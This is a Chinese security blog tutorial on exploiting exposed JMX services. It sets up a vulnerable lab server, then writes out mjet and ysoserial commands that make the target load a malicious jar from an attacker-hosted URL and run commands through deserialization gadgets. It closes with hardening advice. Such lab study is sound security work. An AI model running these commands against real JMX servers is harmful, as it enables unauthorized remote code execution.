漏洞利用 | jmx协议攻击方式

admin 2024年9月12日00:22:18评论17 views字数 6554阅读21分50秒阅读模式
漏洞利用 | jmx协议攻击方式

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!

漏洞利用 | jmx协议攻击方式

在工作中遇到了jmx未授权的漏洞,此前没遇到过,遂在网上找了资料,在本地搭建环境学习了一下。算是一篇学习笔记,有自己的记录,也有其他好心的师傅分享的。在此由衷感谢各位师傅。

漏洞利用 | jmx协议攻击方式

jmx介绍

JMX(Java Management Extensions)。JMX可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。MBean也是JavaBean的一种,在JMX中代表一种可以被管理的资源。一个MBean接口由属性(可读的,可能也是可写的)和操作(可以由应用程序调用)组成。

整体架构图如下:

漏洞利用 | jmx协议攻击方式

通俗的讲,JMX是一个服务器,它能让客户端远程访问该服务器上运行的java程序的api,并且可以对该程序通过相应的函数进行增删改查。

一般运维人员常部署zabbix、cacti和nagios对tomcat、weblogic等服务器进行监控,通常通过JMX访问Tomcat、weblogic的方式实现的,通过JVM的queryMBeans方法查询获取具体的Mbean(Thread、JVM、JDBC),根据bean的属性值判断运行状态。

探测jmx的存在

端口扫描

nmap扫描端口
nmap -p 18081 -T4 -A -v 192.168.23.1
会显示 jmx 服务

漏洞利用 | jmx协议攻击方式

白盒审计

关键词

  • newJMXConnectorServer

  • JMXServiceURL

漏洞利用 | jmx协议攻击方式

案例:CVE-2019-0192
其中 JMXServiceURL可控

漏洞利用 | jmx协议攻击方式

启动jmx服务

java代码中启动

漏洞利用 | jmx协议攻击方式

java命令行启动

java -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=18081 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -Djava.rmi.server.hostname=xx.xx.xx.xx -jar xxx.jar

测试环境搭建

java command

找到一个可以java -jar 启动长时间不会停止的jar包,比如fofaviewer.jar

命令

java -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=18081 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -Djava.rmi.server.hostname=192.168.23.1 -jar fofaviewer.jar

jconsole连接

漏洞利用 | jmx协议攻击方式

这种搭建方式,简单,但如果启动的jar包中没有利用链,不方便后续添加,可能导致后续yso测试不成功。

java代码

主程序

package org.example.test.jmxdemo;

import org.example.test.TestRef;

import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;

/**
* jmxTest.Hello world!
*/

public class JMXServer {
public static void main(String[] args) throws Exception {

System.out.println("jmxTest.Hello World!");
JMXServer app = new JMXServer();
app.restartServer();
}

public void restartServer() throws Exception {
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
try {
// 注册一个MBean
server.registerMBean(new Hello(), new ObjectName("domain1:key1=val1"));
// 再注册一个MBean
server.registerMBean(new Hello(), new ObjectName("domain1:key2=val2"));

} catch (InstanceAlreadyExistsException | MBeanRegistrationException | NotCompliantMBeanException | MalformedObjectNameException e) {
e.printStackTrace();
}
// 新启用一个端口号用于JMX连接
LocateRegistry.createRegistry(10000);
JMXConnectorServer jcs = JMXConnectorServerFactory.newJMXConnectorServer(
new JMXServiceURL("service:jmx:rmi:///jndi/rmi://192.168.23.1:10000/jmxrmi"),
null,
server);
jcs.start();
}
}

同目录子程序

接口HelloMBean

package org.example.test.jmxdemo;

public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);

// Bean method "sayHello"
public String sayHello();
}

接口的实现类Hello

package org.example.test.jmxdemo;

public class Hello implements HelloMBean {

private String name = "Hu3sky";
@Override
public String getName() {
return this.name;
}

@Override
public void setName(String newName) {
this.name = newName;
}

@Override
public String sayHello() {
return "hello: " + name;
}
}

启动程序,jconsole连接。jconsole是java自带的工具,比如在C:Program FilesJavajdk1.8.0_261bin目录下

漏洞利用 | jmx协议攻击方式

通过 jconsole 我们可以直接修改注册的MBean对象的属性以及调用该对象的方法

漏洞利用 | jmx协议攻击方式

在jconsole中对应

漏洞利用 | jmx协议攻击方式

在属性中可以更改val1的属性,比如name

漏洞利用 | jmx协议攻击方式

在操作下可以执行hello的函数,sayHello

漏洞利用 | jmx协议攻击方式

jmx协议利用

jmx未授权的情况

mjet漏洞利用

下载地址:https://github.com/mogwailabs/mjet

利用条件

  • JMX服务器可以连接到由攻击者控制的http服务。

  • 未启用JMX身份验证。

利用
mjet使用的是jpython,需要jython-standalone-2.7.3.jar,可在网上下载。

第一个ip是targetip,运行着易受攻击的JMX服务,第二个ip是攻击者的ip,- JMX服务将连接到攻击者的Web服务,以下载payload jar文件。

令受害者远程rmi加载恶意jar包

java -jar jython-standalone-2.7.3.jar mjet.py 192.168.23.1 10000 install super_secret http://127.0.0.1:8000 8000

漏洞利用 | jmx协议攻击方式

命令执行

java -jar jython-standalone-2.7.3.jar mjet.py 192.168.23.1 10000 command super_secret "whoami"

漏洞利用 | jmx协议攻击方式

加载完恶意jar包后,查看jconsole,可以看到jmx中注册了新的Mbean,后续利用就是通过这些对象。

漏洞利用 | jmx协议攻击方式

卸载恶意类

java -jar jython-standalone-2.7.3.jar mjet.py 192.168.23.1 10000 uninstall

漏洞利用 | jmx协议攻击方式

此时查看jconsole, MogwaiLabs已经卸载,不过MLet没有消失。

漏洞利用 | jmx协议攻击方式

Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。

是java当中的官方类,也不算是恶意的。如果在意,重启java服务就会消失不见。

mjet调用yso

mjet也可以使用yso命令
ysoserial.jar 移动到 jars 目录

漏洞利用 | jmx协议攻击方式

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.3.jar mjet.py --jmxrole user --jmxpassword userpassword 192.168.23.1 10000 deserialize CommonsCollections6 "calc"

更多命令参考 https://github.com/mogwailabs/mjet

ysoserial RCE

直接使用 ysoserial,但是服务器得有gadget。

java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 192.168.23.1 10000 CommonsCollections6 "calc"

java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 192.168.23.1 10000 CommonsCollections6 "ping 123.xxx"

漏洞利用 | jmx协议攻击方式

jmx开启用户名密码认证情况

这里的授权访问形式是指存在密码的情况进行访问,其实很简单,就直接在注册代码中加一个参数走密码认证就行,但是这里只是指单存在密码认证的情况下,如果存在SSL是没办法通此执行命令的。步骤和上面一样,只是增加了枚举账号、密码的步骤。

代码可以参考:https://mp.weixin.qq.com/s/bqQZbRXP5Oa6cf7l2krQtw

jmx开启SSL认证情况

如下代码开启认证后,不能调用jmx.remote.x.mlet.allow.getMBeansFromURL方法

漏洞利用 | jmx协议攻击方式

ysoserial工具可以打认证后的MBean服务,但需要利用链。

实现原理就是调用一个MBean方法,该方法接受String(或任何其他类)作为参数。将String类型的参数替换为gadget,ysoserial工具实现的就是将默认Mbean中的java.util.logging:type=Logging中的getLoggerLevel参数进行替换,当然服务器上必须存在有gadget的jar包。

java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 192.168.23.1 10000 CommonsCollections6 "calc"

java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 192.168.23.1 10000 CommonsCollections6 "ping 123.xxx"

历史漏洞

JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735

https://mp.weixin.qq.com/s/t8PERb6V2vgOLwzcHBeM_A

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"

修复方案

  1. 不要通过com.sun.management.jmxremote.port。这将启动仅本地的JMX服务器,您可以从com.sun.management.jmxremote.localConnectorAddress获得连接地址 http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent .html

  2. 启用SSL客户端证书身份验证,启用密码验证并使用SSL。

  3. 配置和保护JMX Console,确保只有授权的用户或IP地址可以访问该控制台。

  4. 防火墙端口限制。

  5. 修复历史漏洞。

参考链接

  • JMX反序列化漏洞 https://mp.weixin.qq.com/s/t8PERb6V2vgOLwzcHBeM_A

  • 【漏洞分析】JMX漏洞-攻击方法 https://mp.weixin.qq.com/s/bqQZbRXP5Oa6cf7l2krQtw

  • 梦游一次从jmx到rce https://y4er.com/posts/from-jmx-to-rce/

  • JMX-RMI https://hu3sky.github.io/2020/03/06/JMX-RMI/#Jconsole

  • 基于JMX协议攻击方式总结 https://www.anquanke.com/post/id/200682

  • JConsole:Java监视与管理控制台 https://blog.csdn.net/zhaoqingquanajax/article/details/117000899

  • JMX漏洞-攻击方法 https://mp.weixin.qq.com/s/bqQZbRXP5Oa6cf7l2krQtw

  • 记一次梦游渗透从jmx到rce https://y4er.com/posts/from-jmx-to-rce/

  • https://wiki.96.mk/Web安全/Jboss/访问控制不严导致的漏洞/JBoss JMX Console未授权访问Getshell/

  • https://www.moonsec.com/5827.html

  • JMX-RMI https://hu3sky.github.io/2020/03/06/JMX-RMI/

  • https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md

往期推荐

分析Actuator未授权出现的原因

了解owasp top 10 2021(含下载链接)

代码审计 | API批量分配导致的普通用户垂直越权到admin

代码审计 | 发现项目的swagger-ui未授权访问

记一次绕过限制SQL注入bypass

好用!一键化搭建各种虚拟机

Windows上搭建黑苹果(非从头开始)以及一些心得

微信小程序/网页动态调试的方法

原文始发于微信公众号(进击的HACK):漏洞利用 | jmx协议攻击方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月12日00:22:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞利用 | jmx协议攻击方式http://cn-sec.com/archives/3152748.html

发表评论

匿名网友 填写信息